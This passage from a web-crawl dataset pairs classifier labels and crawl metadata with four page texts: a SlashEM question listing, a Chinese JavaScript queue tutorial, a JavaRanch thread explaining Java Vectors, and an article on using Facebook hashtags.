"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-832,776,052,525,146,100 |
The tag has no wiki summary.
learn more… | top users | synonyms
1
vote
1answer
46 views
Is there a way to see item description in Vulture - SlashEM?
I'm new to SlashEM and the GUI system made for it called 'Vulture'. Most actions/things are quite obvious however I can't figure out how to read items description. There is an action called 'Read' ...
6
votes
1answer
328 views
Dangers to the Vanilla Nethacker in SLASH'EM
I've been playing Nethack for a little while, and I'd like to try SLASH'EM. I understand there is a lot of new stuff in SLASH'EM - magic, items, monsters, classes, etc. I've also heard that it's ...
9
votes
1answer
491 views
How to recover a crashed game in Vulture's
I was playing SLASH'em with the Vulture's GUI, on Mac OSX. The applicatiion crashed, and now when I try to start, I get a popup telling me that I have a game already with that name, and asking if I ...
3
votes
1answer
270 views
How can I permanently set options in Slash'em?
In Slash'em (possibly the same in nethack) I can set options with O, but these opotion are set only for this game. How can I set options permanently?
|
{
"url": "http://gaming.stackexchange.com/questions/tagged/slashem",
"source_domain": "gaming.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2014-49",
"warc_metadata": {
"Content-Length": "51348",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:K4KEZEBJYTM7ARLUSWDPG4WT2TUKONGZ",
"WARC-Concurrent-To": "<urn:uuid:2200391c-ab2c-4801-b61d-0e3c77268bdf>",
"WARC-Date": "2014-11-28T16:00:47Z",
"WARC-IP-Address": "198.252.206.16",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:GUI32CBABEHGO4PAE7R7GXK7WS2Y3ONV",
"WARC-Record-ID": "<urn:uuid:5977bcde-5b86-497d-98ea-a8a53dd25b5c>",
"WARC-Target-URI": "http://gaming.stackexchange.com/questions/tagged/slashem",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f3eb04f4-6961-4002-aeec-09729d299b8d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-23-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-49\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for November 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
29,
30,
65,
66,
68,
73,
81,
90,
91,
152,
153,
354,
356,
362,
370,
380,
381,
426,
427,
626,
628,
634,
642,
652,
653,
696,
697,
899,
901,
907,
915,
925,
926,
973,
974
],
"line_end_idx": [
29,
30,
65,
66,
68,
73,
81,
90,
91,
152,
153,
354,
356,
362,
370,
380,
381,
426,
427,
626,
628,
634,
642,
652,
653,
696,
697,
899,
901,
907,
915,
925,
926,
973,
974,
1123
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1123,
"ccnet_original_nlines": 35,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.34339621663093567,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.09433961659669876,
"rps_doc_frac_lines_end_with_ellipsis": 0.0833333283662796,
"rps_doc_frac_no_alph_words": 0.21132074296474457,
"rps_doc_frac_unique_words": 0.5742574334144592,
"rps_doc_mean_word_length": 4.212871074676514,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0.015094339847564697,
"rps_doc_unigram_entropy": 4.483574390411377,
"rps_doc_word_count": 202,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.0423031710088253,
"rps_doc_frac_chars_top_3gram": 0.01645123027265072,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -101.38365173339844,
"rps_doc_books_importance_length_correction": -101.38365173339844,
"rps_doc_openwebtext_importance": -76.70645141601562,
"rps_doc_openwebtext_importance_length_correction": -70.39453887939453,
"rps_doc_wikipedia_importance": -56.44661331176758,
"rps_doc_wikipedia_importance_length_correction": -56.44661331176758
},
"fasttext": {
"dclm": 0.11678159236907959,
"english": 0.9575013518333435,
"fineweb_edu_approx": 0.8670388460159302,
"eai_general_math": 0.004378859885036945,
"eai_open_web_math": 0.2829245924949646,
"eai_web_code": 0.00225078989751637
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-165,443,643,325,644,130 |
JS实现队列效果,先进先出
/**
* [Queue]
* @param {[Int]} size [队列大小]
*/
function Queue(size) {
var list = [];
//向队列中添加数据
this.push = function(data) {
if (data==null) {
return false;
}
//如果传递了size参数就设置了队列的大小
if (size != null && !isNaN(size)) {
if (list.length == size) {
this.pop();
}
}
list.unshift(data);
return true;
}
//从队列中取出数据
this.pop = function() {
return list.pop();
}
//返回队列的大小
this.size = function() {
return list.length;
}
//返回队列的内容
this.quere = function() {
return list;
}
}
//初始化没有参数的队列
var queue = new Queue();
for (var i = 1; i <= 5; i++) {
queue.push(i);
}
console.log(queue.quere());
console.log(queue.pop()); //从队列中取出一个
console.log(queue.quere());
var queue = new Queue(3);
for (var i = 1; i <= 5; i++) {
queue.push(i);
}
console.log(queue.quere());
console.log(queue.pop());
console.log(queue.quere());
结果:
[ 5, 4, 3, 2, 1 ]
1
[ 5, 4, 3, 2 ]
[ 5, 4, 3 ]
3
[ 5, 4 ]
厉害了 我的JS
原文作者:TBHacker
原文地址: https://www.cnblogs.com/jiqing9006/p/6709993.html
本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞
发表评论
电子邮件地址不会被公开。 必填项已用*标注
|
{
"url": "http://ddrv.cn/a/8827",
"source_domain": "ddrv.cn",
"snapshot_id": "crawl=CC-MAIN-2020-16",
"warc_metadata": {
"Content-Length": "36987",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:U3XRJHOO6RE4SHKZI3HXM7WIXJXMAFVU",
"WARC-Concurrent-To": "<urn:uuid:b486532d-123c-4045-9072-2d6a1815a1dc>",
"WARC-Date": "2020-04-04T02:15:12Z",
"WARC-IP-Address": "47.94.80.105",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LL6LBLM5LD6HLBG64BS4YIPC2DKZ5ELP",
"WARC-Record-ID": "<urn:uuid:62e522f7-16ff-47ac-92e2-e93deadbaea6>",
"WARC-Target-URI": "http://ddrv.cn/a/8827",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2ecc2b02-c72d-48e3-8a13-08397b399d82>"
},
"warc_info": "isPartOf: CC-MAIN-2020-16\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-46.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
14,
15,
19,
30,
60,
64,
87,
106,
107,
122,
155,
181,
207,
217,
248,
292,
331,
359,
373,
383,
411,
432,
438,
439,
454,
482,
509,
515,
516,
530,
559,
587,
593,
594,
608,
638,
659,
665,
667,
668,
681,
706,
737,
756,
758,
759,
787,
826,
854,
855,
856,
882,
883,
914,
933,
935,
963,
989,
1017,
1018,
1022,
1023,
1041,
1043,
1058,
1070,
1072,
1081,
1082,
1091,
1092,
1110,
1170,
1211,
1214,
1215,
1220,
1221
],
"line_end_idx": [
14,
15,
19,
30,
60,
64,
87,
106,
107,
122,
155,
181,
207,
217,
248,
292,
331,
359,
373,
383,
411,
432,
438,
439,
454,
482,
509,
515,
516,
530,
559,
587,
593,
594,
608,
638,
659,
665,
667,
668,
681,
706,
737,
756,
758,
759,
787,
826,
854,
855,
856,
882,
883,
914,
933,
935,
963,
989,
1017,
1018,
1022,
1023,
1041,
1043,
1058,
1070,
1072,
1081,
1082,
1091,
1092,
1110,
1170,
1211,
1214,
1215,
1220,
1221,
1242
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1242,
"ccnet_original_nlines": 78,
"rps_doc_curly_bracket": 0.01771336980164051,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.06984127312898636,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.006349210161715746,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6507936716079712,
"rps_doc_frac_unique_words": 0.5339806079864502,
"rps_doc_mean_word_length": 6.359223365783691,
"rps_doc_num_sentences": 29,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.775033950805664,
"rps_doc_word_count": 103,
"rps_doc_frac_chars_dupe_10grams": 0.18015266954898834,
"rps_doc_frac_chars_dupe_5grams": 0.18015266954898834,
"rps_doc_frac_chars_dupe_6grams": 0.18015266954898834,
"rps_doc_frac_chars_dupe_7grams": 0.18015266954898834,
"rps_doc_frac_chars_dupe_8grams": 0.18015266954898834,
"rps_doc_frac_chars_dupe_9grams": 0.18015266954898834,
"rps_doc_frac_chars_top_2gram": 0.012213739566504955,
"rps_doc_frac_chars_top_3gram": 0.013740460388362408,
"rps_doc_frac_chars_top_4gram": 0.02442747913300991,
"rps_doc_books_importance": -148.76268005371094,
"rps_doc_books_importance_length_correction": -148.76268005371094,
"rps_doc_openwebtext_importance": -93.14900207519531,
"rps_doc_openwebtext_importance_length_correction": -93.14900207519531,
"rps_doc_wikipedia_importance": -89.78540802001953,
"rps_doc_wikipedia_importance_length_correction": -89.78540802001953
},
"fasttext": {
"dclm": 0.9946702122688293,
"english": 0.09266162663698196,
"fineweb_edu_approx": 1.0842564105987549,
"eai_general_math": 0.443073570728302,
"eai_open_web_math": 0.08186078071594238,
"eai_web_code": 0.2750507593154907
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-736,799,413,657,461,900 |
aspose file tools
The moose likes Beginning Java and the fly likes Vectors - please explain Big Moose Saloon
Search | Java FAQ | Recent Topics | Flagged Topics | Hot Topics | Zero Replies
Register / Login
JavaRanch » Java Forums » Java » Beginning Java
Bookmark "Vectors - please explain" Watch "Vectors - please explain" New topic
Author
Vectors - please explain
Naf Rash
Ranch Hand
Joined: Feb 19, 2004
Posts: 85
I'm looking through a textbook (Java How to program by Dietel abd Dietel) which provides some code to connect to database and then to display the database on the screen. However, I am trying to understand the code and can't understand the following methods.
From what i can see currentRow is a vector within a set of other vectors; rows. Am I right? Basically I just want to know how the vectors in this code extract work. Thanks.
Blake Minghelli
Ranch Hand
Joined: Sep 13, 2002
Posts: 331
There are 3 uses of Vector in this code.
1. "columnHeads" Vector - This is a simple Vector that contains the column names returned in the query, i.e. each element in the Vector is a String that represents each column name. If the query returns 100 rows with 5 columns, then "columnHeads" will contain 5 elements: one for each column name.
2. "rows" Vector - This Vector is used to represent a single row of the query. Each element in this Vector is another Vector returned by the getNextRow() method, i.e. this is a Vector of Vectors. If the query returns 100 rows with 5 columns, then "rows" will contain 100 elements: one for each "row" returned by the query.
3. "currentRow" Vector - This Vector is returned by the getNextRow() method. Each element in this Vector is the field value for a specific row and column of the query. As each row in the query is processed, the specific field values for that single row are added as elements of this Vector. If the query returns 100 rows with 5 columns, then "currentRow" will contain 5 elements: one for each field value. Each "currentRow" Vector gets placed into the "rows" Vector above.
Hopefully that helps a little bit.
Blake Minghelli<br />SCWCD<br /> <br />"I'd put a quote here but I'm a non-conformist"
With a little knowledge, a cast iron skillet is non-stick and lasts a lifetime.
subject: Vectors - please explain
|
{
"url": "http://www.coderanch.com/t/395902/java/java/Vectors-explain",
"source_domain": "www.coderanch.com",
"snapshot_id": "crawl=CC-MAIN-2015-11",
"warc_metadata": {
"Content-Length": "25499",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:R4VFHIJM5QCATCPE6GT75M47BVIPMB3X",
"WARC-Concurrent-To": "<urn:uuid:5e1965bc-8417-40fe-90e1-b1cd1deecb7a>",
"WARC-Date": "2015-03-02T16:42:43Z",
"WARC-IP-Address": "204.144.184.130",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:Q7XGW43QMJ3QWKY3JWQ4U57GNC24M75R",
"WARC-Record-ID": "<urn:uuid:de933158-c083-4d9d-87a7-eae29935ae03>",
"WARC-Target-URI": "http://www.coderanch.com/t/395902/java/java/Vectors-explain",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b448b0ce-85af-4536-b7ca-95dad0c75cd7>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-28-5-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-11\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for February 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
18,
109,
190,
207,
255,
334,
341,
342,
367,
368,
377,
388,
389,
410,
420,
678,
851,
867,
878,
879,
900,
911,
952,
1250,
1573,
2046,
2081,
2082,
2083,
2170,
2172,
2252,
2254,
2288
],
"line_end_idx": [
18,
109,
190,
207,
255,
334,
341,
342,
367,
368,
377,
388,
389,
410,
420,
678,
851,
867,
878,
879,
900,
911,
952,
1250,
1573,
2046,
2081,
2082,
2083,
2170,
2172,
2252,
2254,
2288,
2289
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2289,
"ccnet_original_nlines": 34,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3340040147304535,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016096580773591995,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.24144868552684784,
"rps_doc_frac_unique_words": 0.4370179772377014,
"rps_doc_mean_word_length": 4.544987201690674,
"rps_doc_num_sentences": 27,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.714722156524658,
"rps_doc_word_count": 389,
"rps_doc_frac_chars_dupe_10grams": 0.06787329912185669,
"rps_doc_frac_chars_dupe_5grams": 0.16289593279361725,
"rps_doc_frac_chars_dupe_6grams": 0.13009050488471985,
"rps_doc_frac_chars_dupe_7grams": 0.10180994868278503,
"rps_doc_frac_chars_dupe_8grams": 0.06787329912185669,
"rps_doc_frac_chars_dupe_9grams": 0.06787329912185669,
"rps_doc_frac_chars_top_2gram": 0.03619910031557083,
"rps_doc_frac_chars_top_3gram": 0.05656109005212784,
"rps_doc_frac_chars_top_4gram": 0.028846150264143944,
"rps_doc_books_importance": -274.3659362792969,
"rps_doc_books_importance_length_correction": -274.3659362792969,
"rps_doc_openwebtext_importance": -164.45126342773438,
"rps_doc_openwebtext_importance_length_correction": -164.45126342773438,
"rps_doc_wikipedia_importance": -128.3760528564453,
"rps_doc_wikipedia_importance_length_correction": -128.3760528564453
},
"fasttext": {
"dclm": 0.32069188356399536,
"english": 0.8815129995346069,
"fineweb_edu_approx": 2.7650015354156494,
"eai_general_math": 0.2500077486038208,
"eai_open_web_math": 0.2357628345489502,
"eai_web_code": 0.11875879764556885
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.758",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,352,576,518,024,685,600 |
Facebook Hashtags – How It Works, How to Use It Right
Here’s a weird story for you. Say you’re an innovator, a UX designer for Google+, you sit on the boards of various Web Foundations and often spend your time retooling web browser experiences for giants such as Mozilla. You’d think people would talk about some of the brilliant things you’re inventing, right?
Well, not really. Meet Chris Messina, which boasts the abovementioned resume and is a global celebrity not thanks to his inventions, but because of a pretty stupid idea (his words, not ours):
“I spent a lot of time working on technologies that I’d hoped would unify the social web and give people more choice – and instead of any of those efforts taking off, this stupid, stupid idea I had ending up being the thing that caught fire. Go figure.”
7 Telltale Signs of Facebook Addiction
7 Telltale Signs of Facebook Addiction
Facebook has become so much a part of our life now that with close to a billion users... Read more
The #Hashtag
That stupid idea began in 2007, when Chris tweeted this:
Chris Messina and hashtag
Today, that pound sign / hash symbol used before a word, better known as the hashtag, is everywhere. You can see it in TV ads, hip-hop videos, bars and billboards. Politicians use it to try and get people to #vote and Lil Wayne uses it to get more followers on his weird Gucci-inspired Twitter alias #liltunechi.
Everyday, more and more apps introduce support for the hashtag, trying to emulate the giants who are already on board: Google+, Pinterest, Tumblr,Instagram, Path, Twitter.
Seeing the obvious trend (with a delay I might add) and not wanting to be seen as the odd one out, Facebook took to its Newsroom and announced hashtag support for its users.
What’s Facebook’s @point, #Skipper?
The idea, as they present it, is simple:"help people more easily discover what others are saying about a specific topic and participate in public conversations.”
So FB’s hashtags are basically tags used to categorize conversations between users. Facebook also graciously offered these 3 usage tips for the hashtag:
• Search for a specific hashtag from your search bar.
• Click on hashtags that originate on other services, such as Instagram.
• Compose posts directly from the hashtag feed and search results.
It would seem then that this update comes from the Menlo Park-based firm’s plan to engage users in more conversations. Now, as ever, that’s not the full story. Facebook has two potentially giant benefits from introducing the # API. They are SEO and monetization.
They care about #traffic
From an SEO standpoint, there’s a lot to gain. Imagine how much traffic Facebook could be getting from Google, via all those nifty #-tagged words.
Take the word “#facebook”, which according to Google’s Keyword Tool receives 3,760,000,000 hits which are [Exact] matches. Imagine how frustrating it is for Zuckerberg to see this link as the top result for that keyword.
Now, multiply that with all the giant brand names out there who are promoting themselves offline (TV, radio, banners) via hashtags, and you’ll get the picture. There’s a world’s worth of an army out there Googling various hashtags.
They alos care about #cash
After traffic, there’s big monetization potential, which Facebook is keenly aware of:
“The recent "Red Wedding" episode of Game of Thrones, received over 1.5 million mentions on Facebook, representing a significant portion of the 5.2 million people who watched the show. And this year’s Oscars buzz reached an all-time high on Facebook with over 66.5 million interactions, including likes, comments, and posts. To date, there has not been a simple way to see the larger view of what’s happening or what people are talking about.” – [Source]
Knowing that Facebook is deviating from its original goal of connecting people and joining the ranks of the increasingly money-hungry Internet giants, it’s easy to imagine how they’d sell trending hashtags or create some sort of a paid advertising. In fact, they’re already pushing advertisers to use them.
Why should you #care?
Say you have a Facebook Page promoting your local business. Theoretically, the more pound signs you use when #talkingaboutwhoeverknowswhat, the more eyeballs you’d potentially get, thanks to people clicking and searching that hashtag.
Obviously, you’d want to use only relevant, trending ones. This process would eventually lead to more ‘real pounds’ in your company’s bank account, due to increased visibility; theoretically, at least.
In practice, the actual hashtag search results order will probably be decided by a number of factors, including ‘virality’, fan base, brand, posts reach, etc.
Open for misuse
It’s hard to imagine the little guy leveraging the new hashtag for more business on the long term. But I would imagine, at least now, when the idea is pretty new, that some lucky unethical bastards might use hashtags to piggyback important events and drive traffic to their pages.
This begs the question: Will Facebook manage to keep their hashtag search results relevant and spam-free? The answer will decide whether its users will use it on a big scale or just as a waltz step between various social media platforms.
You should #care about using it right!
In the end, you shouldn’t really mind Facebook’s #hiddenagenda. If you’re a decent user, you only need to #care about a few rules when using Chris Messina’s invention:
1. Keep it relevant
Like stated before, piggybacking on trending hashtags just for traffic’s sake is a no-no. You’ll eventually ruin your reputation, receive bad comments and might even be sent to Internet jail in a “do not pass GO, do not collect $100 dollars” manner. So use hashtags only when relevant to your post.
chronic hashtag
2. Keep it simple
Less is more. If you want to start a cool hashtag for people to use, go for one or two words or an abbreviation. Say you want to promote your favorite cartoon character, Ren and Stimpy’s Powdered Toast Man.
You might not want to go for #PowderedToastManRenStimpy. A way better option would be something like #PTMChar.
3. Keep it obvious
A lot of folks simply skip searching existing tags before coming up with their own hashtags. As such, they just write the hashtag they expect others to be using. You want those people to also be part of your conversation.
Keeping your hashtags based on your brand, product or show’s name is usually your best bet. Also, check to see that the hashtags won’t end up hurting your PR efforts #susanalbumparty-style than helping.
4. Don’t spam
Using too many hashtags in a single update or comment might leave you wondering why nobody loves you. That’s because you’ll be seen as a spammer.
Studies show that, at least on Twitter, tweets with one or two hashtags receive double attention, while tweets with more than 2 hashtags receive 17% less engagement.
twitter hashtag
There’s no reason to think that Facebook works differently.
5. Define your hastag
When first posting a tag for a conversation, it’s good practice to define it. Let people know what the hashtag is about. Describe it in simple words. You can also define it here if you want to be thorough.
Conclusion
Hashtags are a great invention. We should be happy that Chris Messina came up with this insanely awesome and “stupid” idea. Facebook might be late in jumping in on the train, and they might be doing it for the wrong reasons, but that shouldn’t keep you from caring about your image and using hashtags correctly.
WebsiteFacebookTwitterInstagramPinterestLinkedInGoogle+YoutubeRedditDribbbleBehanceGithubCodePenWhatsappEmail
|
{
"url": "https://www.hongkiat.com/blog/facebook-hashtags/",
"source_domain": "www.hongkiat.com",
"snapshot_id": "CC-MAIN-2024-10",
"warc_metadata": {
"Content-Length": "83280",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LVG5RNQSQU5MUKGWWV5C4EVNFOGXVFQ3",
"WARC-Concurrent-To": "<urn:uuid:a7242047-2321-4861-814f-c0cca8e8b3bf>",
"WARC-Date": "2024-03-03T18:25:44Z",
"WARC-IP-Address": "134.209.54.118",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LCLZMMGLHY5NK2NWV6TCB63PYN4AQTKR",
"WARC-Record-ID": "<urn:uuid:d14e0fd1-3640-43eb-806a-aded2b329823>",
"WARC-Target-URI": "https://www.hongkiat.com/blog/facebook-hashtags/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:73193e5b-2f77-41c7-b0fb-d7b8221b4aca>"
},
"warc_info": "isPartOf: CC-MAIN-2024-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-183\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
54,
55,
364,
365,
557,
558,
812,
813,
852,
853,
892,
893,
992,
993,
1006,
1007,
1064,
1065,
1091,
1092,
1405,
1406,
1578,
1579,
1753,
1754,
1790,
1791,
1953,
1954,
2107,
2108,
2164,
2239,
2308,
2309,
2572,
2573,
2598,
2599,
2746,
2747,
2968,
2969,
3201,
3202,
3229,
3230,
3316,
3317,
3772,
3773,
4080,
4081,
4103,
4104,
4339,
4340,
4542,
4543,
4702,
4703,
4719,
4720,
5001,
5002,
5240,
5241,
5280,
5281,
5449,
5450,
5470,
5471,
5770,
5771,
5787,
5805,
5806,
6013,
6014,
6125,
6126,
6145,
6146,
6368,
6369,
6572,
6573,
6587,
6588,
6734,
6735,
6901,
6902,
6918,
6919,
6979,
6980,
7002,
7003,
7209,
7210,
7221,
7222,
7534,
7535
],
"line_end_idx": [
54,
55,
364,
365,
557,
558,
812,
813,
852,
853,
892,
893,
992,
993,
1006,
1007,
1064,
1065,
1091,
1092,
1405,
1406,
1578,
1579,
1753,
1754,
1790,
1791,
1953,
1954,
